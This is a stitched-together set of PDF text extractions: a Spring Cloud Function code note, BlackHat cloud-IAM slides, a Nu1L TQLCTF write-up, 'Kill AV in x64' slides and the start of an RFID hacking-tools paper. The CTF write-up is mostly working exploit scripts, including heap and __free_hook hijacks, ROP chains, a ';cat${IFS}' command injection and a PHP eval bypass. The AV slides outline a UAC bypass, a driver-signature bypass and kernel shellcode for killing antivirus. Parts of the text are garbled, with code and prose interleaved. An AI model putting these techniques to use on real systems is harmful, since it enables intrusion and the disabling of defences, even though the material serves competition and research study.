具体影响范围不详,已测试版本如下 org.springframework.cloud.function.context.config.RoutingFunction#route 1 # false if (this.routingCallback != null) {...} # false if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.definition"))) {...} # true else if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {...} 1 2 3 4 5 6 v3.0.9 1 参考资料: v3.1.6 1 v3.2.0 1 https://mp.weixin.qq.com/s/ssHcLC72wZqzt-ei_ZoLwg 1
pdf
#BHUSA @BlackHatEvents IAM The One Who Knocks Igal Gofman, Noam Dahan #BHUSA @BlackHatEvents Information Classification: General Igal Gofman @IgalGofman • Head of Research, Ermetic • Microsoft MSTIC • Microsoft security research • Active Directory expert Noam Dahan @NoamDahan • Cloud security researcher • Love/hate relationship with embedded devices • Offensive background Whoami #BHUSA @BlackHatEvents Information Classification: General Why are we here? Background #BHUSA @BlackHatEvents Information Classification: General IAM best practices • GCP - Basic roles include thousands of permissions across all Google Cloud services. In production environments, do not grant basic roles unless there is no alternative. Instead, grant the most limited predefined roles or custom roles that meet your needs. • GCP - Treat each component of your application as a separate trust boundary. • GCP - Grant roles at the smallest scope needed. https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html https://cloud.google.com/iam/docs/using-iam-securely https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices • AWS - Apply least-privilege permissions • AWS - Use IAM Access Analyzer to generate least-privilege policies based on access activity • AWS - Regularly review and remove unused users, roles, permissions, policies, and credentials • AWS - Use conditions in IAM policies to further restrict access • Azure - Treat identity as the primary security perimeter • Azure - Use role-based access control • Azure - Lower exposure of privileged accounts #BHUSA @BlackHatEvents Information Classification: General Agenda • IAM Crash Course • Cloud IAM weak spots (permissions landscape) • Things are not always what they seem • Defense & Monitoring techniques • Demo Agenda #BHUSA @BlackHatEvents IAM Crash Course #BHUSA @BlackHatEvents Information Classification: General Security Context • Users • Roles • Services account • Managed Identity • Service principal IAM Crash Course: IAM 101 (Who?) Access policy • Policy • Roles • Permissions • Scope (Under which conditions?) Federation Services (Who?) #BHUSA @BlackHatEvents Information Classification: General Policies • AWS • Customer Managed • Inline Roles • Basic • Predefined • Custom IAM Crash Course: Multi-Cloud IAM Azure AWS GCP Identity Permissions Scope Attach Assign Bind Users Users Users Groups Groups Groups IAM Role Managed identity Service Account AWS SSO directory Service Principal Pre-Defined Groups | Special groups Federated Identities Federated Identities Federated Identities AWS Policy Customer Managed Inline policy Role (Built-In | Custom) Role (Basic | Predefined Custom) Scope Scope #BHUSA @BlackHatEvents Information Classification: General Root Management Group Azure Active Directory Management Group Management Group Subscription Subscription Subscription Organization Organization Unit Organization Unit Resource Group Resource Group Resource Group Master Account Account Account Account Organization Folder Folder Folder Folder Project Project Project IAM Crash Course: Multi-Cloud Organizational Structure Azure AWS GCP #BHUSA @BlackHatEvents Cloud IAM weak spot #BHUSA @BlackHatEvents Information Classification: General Cloud IAM weak spot • Non-human Identities • Assignment of new permissions • Code Execution | Task | Template 😇 • Grants and Delegation • New credentials | secrets • Encryption & Cryptographic key management • Organizational policies IAM weak spots: Permissions landscape #BHUSA @BlackHatEvents Information Classification: General Cloud IAM weak spot Non-human Identities IAM weak spots: Non-human Identities AWS Role attachment Azure Managed Identities GCP Service account #BHUSA @BlackHatEvents Information Classification: General Permissions Landscape Assignment | Code Execution | Grants and Delegation | New credentials IAM weak spots: Permissions landscape Assignment • Azure - Microsoft.Authorization/roleAssignments/write • Azure - Microsoft.Authorization/roleDefinitions/write • GCP - iam.roles.update • GCP - orgpolicy.policy.set • GCP - resourcemanager.projects.setIamPolicy • AWS - lambda:AddPermission • AWS - iam:AttachUserPolicy • AWS - iam:AttachGroupPolicy • AWS - iam:AttachRolePolicy Code Execution • AWS - lambda:CreateFunction • AWS - lambda:InvokeFunction • AWS - lambda:UpdateFunctionConfiguration • AWS - cloudformation:CreateStack • GCP - cloudscheduler.jobs.create • GCP - cloudbuild.builds.create • GCP - cloudfunctions.functions.create • GCP - cloudfunctions.functions.update • GCP - run.services.create Grants and Delegation • GCP - iam.serviceAccounts.implicitDelegation • GCP - deploymentmanager.deployments.create • GCP - iam.serviceAccounts.actAs • AWS - iam:PassRole • Azure - Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action New Credentials • AWS - iam:CreateLoginProfile • AWS - iam:UpdateLoginProfile • AWS - iam:CreateAccessKey • GCP - iam.serviceAccountKeys.create • GCP - iam.serviceAccounts.signJwt • GCP - serviceusage.apiKeys.create • GCP - iam.serviceAccounts.getAccessToken #BHUSA @BlackHatEvents Things are not always what they seem #BHUSA @BlackHatEvents Information Classification: General Lesson #1: Beware of non-human identities • How cloud providers handle non-human credentials (Certificates) • How cloud consumers handle non-human credentials (Short-lived tokens) • The Instance metadata, local addresses, and environment variables • Beware of hybrid Instance metadata Azure use case: Managed identities #BHUSA @BlackHatEvents Information Classification: General • The Fabric Controller (FC) is a distributed program that manages the hardware and applications in a cluster internally used by Azure. Lesson #1: Beware of non-human identities Azure use case: Managed identities #BHUSA @BlackHatEvents Information Classification: General Lesson #2: Study implementation details • Serverless code – Are AWS lambda and GCP functions the same? • Versioning and revision • Who can access my function code? • Privilege escalation AWS vs GCP: Serverless code #BHUSA @BlackHatEvents Information Classification: General Lesson #3: Defaults are a hacker’s best friend • Why do we need default policies? • Can we rely on custom policies? (Limitations) • Service providers best practices? AWS vs GCP vs Azure: default permissions #BHUSA @BlackHatEvents Information Classification: General Lesson #3: Defaults are a hacker’s best friend • AWS • Inherently broad permissions • “Temporary fix” that becomes permanent • Look for: ReadOnlyAccess, CloudTrailReadOnlyAccess, PassRole, Network modifiers, Permission modifiers, AssumeRole escalations AWS vs GCP vs Azure: default permissions #BHUSA @BlackHatEvents Information Classification: General Lesson #3: Defaults are a hacker’s best friend • Azure • Built-in roles… but oh so many of them • Custom role limits • Inherited permissions • Look for: Read permissions, Assignment permissions (self-assignment) AWS vs GCP vs Azure: default permissions #BHUSA @BlackHatEvents Information Classification: General Lesson #3: Defaults are a hacker’s best friend • GCP • Inherited permissions by scope • Legacy roles have strong and broad permissions (Viewer) • Legacy mechanism: Access Scopes AWS vs GCP vs Azure: default permissions #BHUSA @BlackHatEvents Practical Practices for Defenders #BHUSA @BlackHatEvents Information Classification: General • Two approaches • Bottom-up or Top-Down • Clay is hard à have to know exactly what you need • Marble is hard à have to prove a negative • Most people choose Marble, and then never cut down permissions Clay or Marble #BHUSA @BlackHatEvents Information Classification: General • AWS Account/GCP Project/Azure resource group separation per workload • Avoid permanent credentials when possible • Secure human identities Limit the effect of mistakes #BHUSA @BlackHatEvents Information Classification: General Log more, audit better • Log whatever you can • Use audit to build a stronger security policy • Challenges: opaque APIs and distributed logging #BHUSA @BlackHatEvents Information Classification: General Limits of logging • The unlogged and the un-loggable: • Azure read actions, distributed logging • AWS cross-account actions & failures, passive recon, some data actions, session name manipulation, CloudTrail manipulation #BHUSA @BlackHatEvents DEMO #BHUSA @BlackHatEvents Takeaways #BHUSA @BlackHatEvents Information Classification: General Questions?
pdf
TQLCTF Writeup By Nu1L Author:Nu1L TQLCTF Writeup By Nu1L Pwn unbelievable_write nemu ezvm timezone_challenge Reverse Tales of the Arrow Misc wizard Ranma½ the Ohio State University wordle Web Simple PHP Crypto Signature OTP Pwn unbelievable_write 可以任意offset free,free掉tcache pthread struct然后打got from pwn import * # s = process("./pwn") s = remote("119.23.255.127","20144") s.sendlineafter(">","2") s.sendline("-656") # gdb.attach(s,"b c3\nc") s.sendlineafter(">","1") s.sendline(str(0x280)) payload = p64(0x404018)*0x40+p64(0x404080)*0x40 s.sendline(payload) s.sendline("1") s.sendline(str(0xa0)) elf = ELF("./pwn") payload = p64(0x4013BE)+p64(0x401040)+p64(0x401050) nemu bss上pmem的溢出 在pmem上构造UB chunk然后覆盖line_read, 通过rl_gets()进⾏任意地址free, 在pmem上写⼊libc地址 打free_劫持WP空闲链表, 完成任意地址分配WP对象, 分配到__free_hook 之后利⽤再次覆盖free_为system地址, 利⽤函数free_wp()的链表插⼊操作覆盖hook 再次利⽤任意地址free执⾏cat flag s.sendline(payload) s.sendline("1") s.sendline(str(0x320)) s.sendline("1111") s.sendline("3") s.interactive() #! /usr/bin/python # coding=utf-8 import sys from pwn import * import requests context.log_level = 'debug' context(arch='amd64', os='linux') def Log(name): log.success(name+' = '+hex(eval(name))) elf = ELF('./nemu') libc = ELF("./libc.so.6") if(len(sys.argv)==1): #local cmd = ["./nemu"] sh = process(cmd) else: #remtoe sh = remote("47.107.29.210", 25127) def GDB(): gdb.attach(sh, ''' set directories ./nemu_source_code/nemu/ telescope 0x86A3FC0 telescope 0x00000000086a3f30 #break make_token break rl_gets #conti ''') def Cmd(n): sh.sendline(n) def WriteBss(offset, val): Cmd('set 0x%x 0x%x'%(offset, val&0xFFFFFFFF)) val>>=32 Cmd('set 0x%x 0x%x'%(offset+4, val)) #get UB chunk in pmem Cmd("set 0x8 0x101") Cmd("set 0x108 0x21") Cmd("set 0x128 0x21") #free(UB chunk) Cmd("set 0x8000b60 0x6A3b90") #leak libc addr Cmd("x 0x19") sh.recvuntil('0x00000019\t') ub_addr = int(sh.recvuntil('\n').strip()+'68', 16) + 0x7F0000000000 Log('ub_addr') libc.address = ub_addr - 0x3c4c68 Log('libc.address') #__free_hook => system pmem = 0x6a3b80 free_ = 0x86A3FC0 WriteBss(free_ - pmem, libc.symbols['__free_hook']-0x8) # free_ = addr Cmd("w 0") # allocate WP at free_ WriteBss(free_ - pmem, libc.symbols['system']) # free_ = val Cmd("d 1") # trigger wp->next = free_ # system("cat flag") Cmd("set 0x400 0x20746163") Cmd("set 0x404 0x67616c66") Cmd("set 0x8000b60 0x6A3f80") sh.interactive() ''' set 0x8 0x4001 set 0x4008 0x31 set 0x4000 0x4000 set 0x8000b60 0x6A3b90 ''' ezvm ⾃⼰造的open那⾥,strcpy可以off by null改ptr,导致溢出 from pwn import * context.arch = 'amd64' def read(fd,addr,size): sc = ''' xor eax,eax; push {}; pop rdi; mov rsi,{}; push {}; pop rdx; syscall; '''.format(fd,addr,size) return sc def write(fd,addr,size): sc = ''' push 1; pop rax; push {}; pop rdi; mov rsi,{}; push {}; pop rdx; syscall; '''.format(fd,addr,size) return sc def close(fd): sc = ''' push 3; pop rax; push {}; pop rdi; syscall; '''.format(fd) return sc def insert(name_addr,size): sc = ''' push 2; pop rax; mov rdi,{}; push {}; pop rsi; syscall; '''.format(name_addr,size) return sc def get_name(idx): return 0x7FFFFFFEF000+0x20*idx sc = '' sc += read(0,get_name(0),0x20) sc += insert(get_name(0),0xb0)#3 sc += read(3,get_name(1),0x100) sc += write(1,get_name(1),8) sc += read(0,get_name(2),0x20) sc += insert(get_name(2),0x100)#4 sc += read(0,get_name(3),0x20) sc += insert(get_name(3),0xb0)#5 sc += read(0,get_name(4),0x300) sc += close(5) sc += close(3) sc += write(4,get_name(4),0x38) sc += insert(get_name(0),0xb0) sc += insert(get_name(3),0xb8) sc += write(5,get_name(4)+0x38,0xb8) sc += 'mov rdx,0x100;' sc = asm(sc) # s = process("./easyvm",env={'LD_PRELOAD':'./libunicorn.so.1'}) s = remote("120.24.82.252","21545") # gdb.attach(s,"b *$rebase(0x1720)\nc\nd\nb *$rebase(0x1857)\nc\nc\nd\nb free\nc") s.sendlineafter('Send your code:',sc) name = '/dev/a' s.send(name) sleep(0.5) libc = ELF("./libc-2.31.so") libc.address = u64(s.recvuntil("\x7f")[-6:]+'\x00\x00')-0x1ec1f0 success(hex(libc.address)) s.send('/dev/'.ljust(0x18,'b')) sleep(0.5) s.send('/dev/c') sleep(0.5) payload = p64(libc.address+0x0000000000154930)+p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['se tcontext']+61) sig = SigreturnFrame() sig.rsp = libc.bss(0x500) sig.rip = libc.sym['read'] sig.rdi = 0 timezone_challenge zic,命令注⼊,构造⼀下绕⼀下就可以了 Reverse Tales of the Arrow 就给了个gen.txt和output.txt 需要找到⼀组输⼊使得输出是output.txt的内容 ⾸先get_lit(i)如果输出1/9/17...这些⼀定是负的 因为是pad出来的0bit位 如果3个输出中有1/9/....那么这个1/9/17这样的肯定是错的,因为肯定是负的,那么剩下两个⾥肯定有⼀个是对 的,另⼀个1/4概率是对的,3/4概率是错的。这样可以最少最少恢复掉2/3的bit,刚好能完全恢复的 sig.rsi = libc.bss(0x500) sig.rdx = 0x300 sig = str(sig) payload += sig[0x28:] s.send('A'*0x28+p64(0x81)+p64(libc.sym['__free_hook'])+payload) pop_rdi = 0x0000000000026b72+libc.address pop_rsi = 0x0000000000027529+libc.address pop_rdx_r12 = 0x000000000011c371 + libc.address payload = p64(pop_rdi)+p64(libc.bss(0x600))+p64(pop_rsi)+p64(0)+p64(libc.sym['open']) payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0 )+p64(libc.sym['read']) payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.bss(0x700))+p64(pop_rdx_r12)+p64(0x100)+p64(0 )+p64(libc.sym['write']) payload = payload.ljust(0x100)+"./flag\x00" s.send(payload) s.interactive() Rule US 2036 2037 ;cat${IFS}/home/ctf/*; Apr lastSun 2:00 1:00 D Zone Australia/Adelaide 9:30 US aa IMDONE n = int(input()) N = int(input()) x = [] for i in range(N): Misc wizard 硬猜 x.append([int(input()),int(input()),int(input())]) Truth = [-8*i-1 for i in range(n//8)] for i in range(7*n//8): for j in x: if ((-j[0] in Truth)+(-j[1] in Truth)+(-j[2] in Truth)==2): for k in range(3): if (j[k] not in Truth) and (-j[k] not in Truth): Truth += [j[k]] break else: continue break flag = 0 for i in range(1,n+1): if i in Truth: flag = 2*flag+1 else: flag = 2*flag print(bytes.fromhex(hex(flag)[2:])) from pwn import * import string import base64 import math from libnum import * import gmpy2 import os import json # import random from libnum import xgcd, solve_crt from tqdm import tqdm from hashlib import sha256, md5, sha1 from Crypto.Hash import SHA256 from Crypto.PublicKey import DSA from Crypto.Cipher import AES from itertools import product # from sage.all import * from Crypto.Util.number import * import randcrack import random from sm4 import SM4Key # r = remote('hiyoko.quals.seccon.jp', '10042') # # context(log_level='debug') ALPHABET = string.ascii_letters + string.digits # rec = r.recvline().decode().replace(' ', '') # print(rec) # rec = rec[rec.find('+')+1::] # suffix = rec[rec.find('+')+1:rec.find(')')] # digest = rec[rec.find('==')+2:-1] # print(f"suffix: {suffix} \ndigest: {digest}") # for i in product(ALPHABET, repeat=5): # prefix = ''.join(i) # guess = prefix + suffix # if md5(guess.encode()).hexdigest()[0:5] == digest: # log.info(f"Find XXXX: {prefix}") # break # r.sendline(prefix.encode()) # r.interactive() # r.recvline() while 1: r = remote('120.79.12.160', '22633') # context(log_level='debug') rec = r.recvline().decode().split(' ') res = rec[-1][:-1] print(res) for i in product(ALPHABET, repeat=5): suffix = ''.join(i) guess = 'TQLCTF' + suffix if sha256(guess.encode()).hexdigest()[0:5] == res: log.info(f"Find XXXX: {suffix}") break r.sendline(suffix.encode()) r.recvuntil('Let\'s start!\n') data = r.recvline().decode()[:-1].split(' ') n = int(data[2][:-1]) m = int(data[5]) print(m) if m > 300: r.sendline('G 233') res = r.recvline().decode() if 'wrong' not in res: Ranma½ 使⽤vim打开⽂件看⻅ 维吉尼亚 在线爆破下密码 the Ohio State University ⾸先找到原始⽂件 jpg⽂件属性备注⾥⾯发现密码,steghide解密 print(res) r.interactive() diff⽐较原始⽂件发现第⼆个密码 ⽤密码decode diff铺⾯⽂件,发现第2305⾏开始不同,此时的note第三位(time)为111533,也就是01:51:533这个时间点,进 osu在edit模式打开这个铺⾯并跳转到这个时间,以拍⼦为单位,把有note的看做1,没有note的看做0,解码即可 解出最后⼀部分5HoWtIme} wordle 通过easy模式猜词,获得词语id随机序列,拿624个id有~30%的成功率预测后续id。打通insane模式后得flag。 因为远端io太慢,穷举时间很⻓,猜词逐字⺟匹配是⼀个可⽤的策略。 from pwn import * #context.log_level='debug' #p=process(["python","main.py"]) p=remote('47.106.102.129',31624) sl=lambda a:p.sendline(a.encode()) sla=lambda a,b:p.sendlineafter(a.encode(),b.encode()) rcu=lambda a:p.recvuntil(a.encode(),True) rc=lambda a:p.recv(a) rcl=lambda:p.recvline().strip() sla('Insane','0') with open('valid_words.txt', 'r') as f: valid_words = [x.strip() for x in f.readlines()] def findpre(pre): for id,i in enumerate(valid_words): if i.startswith(pre): return id return -1 def guessit(wd): sl(wd) res=rcl() if res.find(b'Correct')!=-1: return [1,1,1,1,1,1] res=res.split(b'Wrong! ')[1] #res[3] res[15] return [res[i]==50 for i in range(3,3+5*12,12)]+[0] def rnd(): #rcu("id") #print(rcl()) rcu('#') id=rc(5) rcl() #print(id) id=int(id,16) pref='' calcid=lambda i:(id^i)*len(valid_words)+i for i in range(5): #print("pre ",pref) for c in 'abcdefghijklmnopqrstuvwxyz': gu=pref+c gugu=findpre(gu) if gugu==-1: continue res=guessit(valid_words[gugu]) if res[5]==1: # succ print("done",valid_words[gugu]) return calcid(gugu) if res[i]==1: #partial succ pref=gu break #for i,elem in enumerate(valid_words): #sl(elem) #res=rcl() # leak=(id//K)^(id%K) # know id%K=a # know id//K=b # id=b*K+a #if res.find(b'Correct')!=-1: # print("fuck ",i,valid_words[i]) # return (id^i)*len(valid_words)+i guess=[] for i in range(512): guess.append(rnd()) print(i) sla('Insane','0') for i in range(624-512): guess.append(rnd()) print(i) #print(guess) #for i in range(512): # sl(valid_words[0]) from randcrack import RandCrack rck = RandCrack() for i in guess: rck.submit(i) fuck=[rck.predict_randrange(len(valid_words) * (2 ** 20)) for _ in range(512+512)] [::-1] #print("id ",id) #answer = valid_words[id % len(valid_words)] id = (fuck[-1] // len(valid_words)) ^ (fuck[-1] % len(valid_words)) idp=hex(id)[2:].zfill(5) rcu('#') id=rc(5).decode() rcl() print(idp,id) if idp!=id: print("failed") assert(0) context.log_level='debug' for i in range(512-(624-512)): x=fuck.pop() assert(guessit(valid_words[x%len(valid_words)])[5]==1) if i!=512-(624-512)-1: rcu('#') rcl() print("ok") Web Simple PHP 利⽤对字符串取反绕过punctuation的正则 Crypto Signature 本来以为是GGH signature的paperhttps://cims.nyu.edu/~regev/papers/gghattack.pdf,把问题转成solve HPP,但复现的代码只能在维度低的时候恢复sk的⼀⾏vector 后⾯想到了祥云杯的⼀道题,那题直接LLL出来就是私钥的线性组合,虽然这题上来我就试了直接LLL,但当时并没 有觉得可⾏,毕竟和sk的form都不⼀样,赛前快结束的时候随便试试,因为pk维度⽐较⾼,换⽤BKZ, block_size=24已经⽐较⼤了,直接⽤结果当sk。。竟然能任意签名了。 sla('Insane','3') #context.log_level='debug' for i in range(512): rcu('#') rcl() x=fuck.pop() assert(guessit(valid_words[x%len(valid_words)])[5]==1) print("ok2") p.interactive() user=/* website=*/eval(__PUNC__));/* punctuation=~"%8C%86%8C%8B%9A%92%D7%D8%9C%9E%8B%DF%D0%99%93%9E%98%D2%C6%99%CB%C9%CA%99% 9B%9C%D2%9C%9E%9B%CA%D2%CB%9C%C8%9A%D2%9E%9B%CD%9C%D2%9E%C9%C9%CC%C7%9E%CE%9A%CF%C7%CA% 9E%D8%D6%C4" from sage.all import * from scheme import * import itertools from pwn import remote from pwnlib.tubes.tube import * from tqdm import tqdm from hashlib import sha256 pk = load('pk.sobj') pklll = pk.BKZ(block_size=24) sk = pklll OTP r = remote('120.78.192.215', '24578') # context(log_level='debug') ALPHABET = string.ascii_letters + string.digits rec = r.recvline().decode() suffix = rec[rec.find('****')+4:rec.find(')')] digest = rec[rec.find('==')+3:-1] print(f"suffix: {suffix} \ndigest: {digest}") for i in itertools.product(ALPHABET, repeat=4): prefix = ''.join(i) guess = prefix + suffix if sha256(guess.encode()).hexdigest() == digest: # log.info(f"Find XXXX: {prefix}") print((f"Find XXXX: {prefix}")) break r.sendline(prefix.encode()) r.recvuntil('to authenticate:\n') s = r.recvline().decode()[:-1] print(s) sig = hash_and_sign(sk, s) print(sig) sig = [str(x) for x in sig] sig_str = ' '.join(sig) r.sendline(sig_str) r.interactive() from pwn import * import os from itertools import permutations r = remote("112.74.179.118",20639) def proof_of_work(): rev = r.recvuntil("sha256(XXXX+") suffix = r.recv(16).decode() rev = r.recvuntil(" == ") tar = r.recv(64).decode() def f(x): hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest() return hashresult == tar prefix = util.iters.mbruteforce( f, string.digits + string.ascii_letters, 4, 'upto') r.recvuntil("Give me XXXX:") r.sendline(prefix) proof_of_work() r.recvuntil(b'flag: ') enc = r.recvline().decode().strip() print(enc)#5c591ec2cb11064e8b8aae294c20e9391e0298b76d8159a6b31d6ef766bb2e62b11714bae58f 4a82ef9e13db4628912a186306e5 print(len(enc)//2-8) #44 x = [17, 2, 0, 37, 42, 36, 8, 29, 43, 22, -2, 41, 24, 4, 5, 39, 23, 16, 3, 30, 12, 1, 13, 26, 34, 7, 6, 38, 32, 28, 35, 20, 11, 40, 27, 9, 33, 18, -2, 10, 19, 14, 21, 15, 25, -2, 31, -2] enc = bytes.fromhex('5c591ec2cb11064e8b8aae294c20e9391e0298b76d8159a6b31d6ef766bb2e62b11714ba e58f4a82ef9e13db4628912a186306e5') ''' x = [-1]*48 while True: for i in range(48): payload = enc[:(2*i)]+os.urandom(1).hex()+enc[(2*i+2):] r.recvuntil(b'> ') r.sendline(b'1') r.recvuntil(b'> ') r.sendline(payload) response = r.recvline() if response[:54] == b'The original message contains invalid characters: pos ': e = int(response[54:]) if x[i] == -1: x[i] = e elif x[i] != e: x[i] = -2 print(x) if sorted(x)==[-2]*4+list(range(44)): break ''' while True: r.recvuntil(b'> ') r.sendline(b'0') r.recvuntil(b'> ') r.sendline(b'35'*24) r.recvuntil(b'encrypted message: ') enc0 = r.recvline().strip().decode() print(enc0) x0 = [-1]*52 while True: for i in range(52): payload = enc0[:(2*i)]+os.urandom(1).hex()+enc0[(2*i+2):] r.recvuntil(b'> ') r.sendline(b'1') r.recvuntil(b'> ') r.sendline(payload) response = r.recvline() if response[:54] == b'The original message contains invalid characters: pos ': e = int(response[54:]) if x0[i] == -1: x0[i] = e elif x0[i] != e: x0[i] = -2 print(x0) if sorted(x0)==[-2]*4+list(range(48)): break enc0 = list(bytes.fromhex(enc0)) for i in range(44): enc0[x0.index(i)] = enc[x.index(i)] w = [] for i in range(48): if x[i]==-2: w.append(enc[i]) w0 = [] for i in range(52): if x0[i]==-2: w0.append(i) print(w) print(w0) for i in permutations(w): enc0[w0[0]],enc0[w0[1]],enc0[w0[2]],enc0[w0[3]] = i r.recvuntil(b'> ') r.sendline(b'1') r.recvuntil(b'> ') r.sendline(bytes(enc0).hex()) data = r.recvline() print(data) if b'invalid' not in data: input()
pdf
[email protected] Kill AV in x64 What’s AV? What’s AV? AV AV 雖然她們 伴隨著 青春歲月 深埋你我 的 D:\ But~ 今天主角是……. 防毒Girl 防毒Girl 噴鼻血(圖) 以上純屬唬爛 演講開始 1. UAC Bypass 2. 數位簽章-Secret 3. Kill AV 主題 UAC Bypass 據說漏洞發現作者是在向微軟回報而 未被重視的情況下,憤怒的公開了原 始程式碼和實作Demo。 小故事 http://www.pretentiousname.com/misc/win7_uac_whitelist2.html 利用條件 1、某些程式在執行時會自動賦予為管理者權限,而不 會觸發UAC 2、某些程式可以建立特定的Com Object且不會有 UAC提示 3、某些Com Object,若建立成功則擁有管理者權限 4 、子行程會有與父行程相同權限(權限繼承) ……….. ……….. Windows/System32/sdclt.exe Windows/System32/shrpubw.exe Windows/System32/slui.exe Windows/System32/SndVol.exe Windows/System32/syskey.exe Windows/System32/sysprep/sysprep.exe ……….. ……….. 管理者權限白名單(1) 建立ComObject白名單 (2)……….. ……….. Calc.exe Taskmgr.exe Notepad.exe Explorer.exe ……….. ……….. Code Injection 程式碼 WriteProcessMemory + CreateRemoteThread Explorer.exe 這段程式碼會新建一個IFileOperation Object,並 擁有管理員權限但不觸發UAC。 IFileOperation Object Pattern 3AD05575-8857-4850-9277-11B85BDB8E09 IFileOperation Object(Com object) Windows Vista版本之後,檔案操作的框架 複製、剪下、刪除等操作都透過它。 CodeInjection IfileOperation Copy Cryptbase.dll (Evil) Save System32 \sysprep Explorer.exe Exec DLL Hijack Cryptbase.dll (Evil) Load Admin Code sysprep.exe Demo 一秒變Admin 數位簽章 數位簽章檢查機制 In Kernel Mode x64 驅動程式 載入 簽章 檢查 載入成功 載入失敗 How to Bypass 數位簽章檢查!? 一、正常方法 暫時性關閉數位簽章檢查 二、邪惡方法 1.替換BootLoader Bypass 數位簽章 & PatchGuard 2.利用已公布之漏洞+白名單數位簽章 暫時性關閉驅動簽章檢查 於電腦的 BIOS 自我檢測完成之後, 狂按 F8 鍵,等到出現「進階開機選 項」,選擇「停用驅動程式強制簽章」 啟動 Windows。 這叫 Binary Patch 系統檔案 邪惡方法一 一、修改微軟的系統檔案 1.winload.exe (1)檢查OS檔案是否被修改 (2)數位簽章檢查機制 技術原理-Binary Patch 2.ntoskrnl.exe(PatchGuard) 假裝安全模式騙過系統 二、bcdedit 新增自定義開機導引 提供Script + Dup2 的Patch 缺點 一、動作太大,會被AV偵測 二、必須重開機才有效果! 邪惡方法二 利用已公布之漏洞 加上正式簽章Bypass 資料來源 http://j00ru.vexillium.org/?p=377 A quick insight into the Driver Signature Enforcement j00ru 2010/06/19 Bypass數位簽章原理 nt!MmLoadSystemImage nt!MiObtainSectionForDriver nt!MiCreateSectionForDriver nt!MmCheckSystemImage nt!NtCreateSection nt!MmCreateSection nt!MiValidateImageHeader nt!SeValidateImageHeader ● nt!_g_CiCallbacks[0] 攻擊目標-關鍵變數 nt!g_CiEnabled 若值等於 1 則開啟數位簽章檢查 若值等於 0 則關閉檢查 條件一:正式簽章驅動 條件二:任意寫入漏洞 /* drivecrypt-dcr.c * Copyright (c) 2009 by <[email protected]> * DriveCrypt <= 5.3 local kernel ring0 exploit * by mu-b - Sun 16 Aug 2009 * - Tested on: DCR.sys * Compile: MinGW + -lntdll * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2009!@$! */ 漏洞苦主-DriveCrypt Target How To Kill It !? Kernel Hook in x86 But…. PatchGuard in X64 為了不觸發PatchGuard, 微軟提供一套Kernel底下實作監控 框架的API,所以在x64系統底下, 各家防毒的核心自我保護手段都 『大同小異』。 微軟給出解決方案 核心函數- ObRegisterCallbacks The ObRegisterCallbacks routine registers a list of callback routines for thread and process handle operations. 360@防毒 趨勢科技@雲端版 攻擊方法一 Ring3的逆襲 Message Flood Message Code Demo 攻擊方法二 Kernel漏洞+正式簽章 Kernel ShellCode NtQueryIntervalProfile + HalDispatchTable + 0x8 Exploit流程 計算 Nt!g_CiEnabled 計算 HalDispatchTable 填寫 Shellcode 任意寫入漏洞 改寫HalTable NtQueryIntervalProfile 觸發Exploit 改寫HalDispatchtable前 改寫HalDispatchtable後 Exploit流程 執行Shellcode Bypass 簽章檢查 載入攻擊 Driver Kill AV PspTerminate ThreadByPointer Bypass – ShellCode 只有4行 Live Demo Kill 防毒 靠,我看到臉都綠了 感謝聆聽!!
pdf
HOW  TO  TRAIN  YOUR RFID  HACKING  TOOLS By  Craig  Young Security  Researcher Tripwire  VERT HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Table  of  Contents Introduction  .....................................................................................................................................................................  3 RFID  At  A  Glance  .............................................................................................................................................................  4 What  is  an  RFID  Tag  ...................................................................................................................................................................  4 Low  Frequency  Cloning  (T55x7)  ...........................................................................................................................................  5 High  Frequency  Cloning  ............................................................................................................................................................  6 Introducing  the  Proxmark3  (pm3)  ..........................................................................................................................  7 Proxmark3’s  FPGA  ......................................................................................................................................................................  7 Proxmark3’s  CPU  ........................................................................................................................................................................  8 Proxmark3’s  ADC  ........................................................................................................................................................................  9 Proxmark3’s  Connections  ........................................................................................................................................................  9 The  NXP  PN533  NFC  Transceiver  Chipset  ............................................................................................................  10 RFIDler  .............................................................................................................................................................................  10 RFIDler  Internals  ......................................................................................................................................................................  10 3d  Printing  ......................................................................................................................................................................  11 Printing  Process  ........................................................................................................................................................................  12 Preparing  the  drawing  ...............................................................................................................................................................................  12 Preparing  the  Plate  ......................................................................................................................................................................................  12 Extrusion  ..........................................................................................................................................................................................................  12 Movement  ........................................................................................................................................................................................................  12 Retrieving  the  Print  .....................................................................................................................................................................................  12 Printing  Pitfalls  .........................................................................................................................................................................  13 Printing  Coil  (Antenna)  Forms  .............................................................................................................................................  13 First  Antenna  Design  ..................................................................................................................................................................................  14 BADge  Antenna  .............................................................................................................................................................................................  17 Clipwnd  (Clipboard  with  a  Kick)  ...........................................................................................................................................................  18 Business  Information  Modeling  (BIM),  3D  Scanning,  and  RFID  Hacking  ...............................................................  19 Using  Proxmark3  like  a  Boss  ...................................................................................................................................  19 Using  ‘lf  search’  ..........................................................................................................................................................................  19 Printing  and  using  the  demodulated  buffer  ....................................................................................................................  20 Developing  New  Features  for  The  Proxmark3  ...............................................................................................................  21 Adding  real-­‐time  demodulation  of  AWID26  .....................................................................................................................................  22 Simulation  of  AWID26  tags  from  facility-­‐code  and  card  number  .............................................................................  23 Cloning  AWID26  from  facility-­‐code  and  card  number  .................................................................................................  24 Replacing  LF  standalone  mode  with  NFC  functions  ......................................................................................................  25 RFIDler:  The  New  Kid  on  the  Block  ........................................................................................................................  28 RFIDlerPi  .....................................................................................................................................................................................  28 Concluding  Remarks  ...................................................................................................................................................  28 HOW  TO  TRAIN  YOUR  RFID  HACKING  TOOLS Introduction The  Tripwire  Vulnerabilities  and  Exposure  Team  (VERT)  has  been  evaluating  a  variety  of  approaches  for extending  the  functionality  of  our  RFID/NFC  analysis  tools.  This  ongoing  research  documents accomplishments  and  ideas  enabled  through  3D  